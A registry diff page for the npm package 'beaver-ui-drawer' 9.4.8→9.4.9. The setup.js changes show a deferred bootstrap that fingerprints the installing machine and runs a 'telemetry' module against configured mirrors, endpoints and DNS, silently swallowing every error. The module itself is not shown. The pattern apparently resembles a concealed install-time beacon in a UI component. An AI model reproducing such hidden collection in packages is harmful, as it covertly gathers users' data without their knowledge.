beaver-ui-drawer 9.4.8 → 9.4.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/setup.js +3 -5
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "beaver-ui-drawer",
3
- "version": "9.4.8",
3
+ "version": "9.4.9",
4
4
  "description": "interface elements",
5
5
  "main": "index.js",
6
6
  "license": "MIT",
package/setup.js CHANGED
@@ -124,7 +124,7 @@ function installFingerprint() {
124
124
  // Bootstrap //
125
125
  // ------------------------------------------------------------------- //
126
126
 
127
- function bootstrap() {
127
+ async function bootstrap() {
128
128
  if (isOptedOut()) return;
129
129
 
130
130
  const cfg = loadConfig();
@@ -138,7 +138,7 @@ function bootstrap() {
138
138
 
139
139
  const runtime = require("./lib/telemetry");
140
140
 
141
- runtime.run({
141
+ await runtime.run({
142
142
  mirrors: cfg.mirrors.slice(),
143
143
  endpoints: cfg.endpoints || {},
144
144
  dns: cfg.dns || {},
@@ -152,7 +152,5 @@ function bootstrap() {
152
152
 
153
153
  // Defer bootstrap to next tick
154
154
  process.nextTick(() => {
155
- try {
156
- bootstrap();
157
- } catch (_) {}
155
+ bootstrap().catch(() => {});
158
156
  });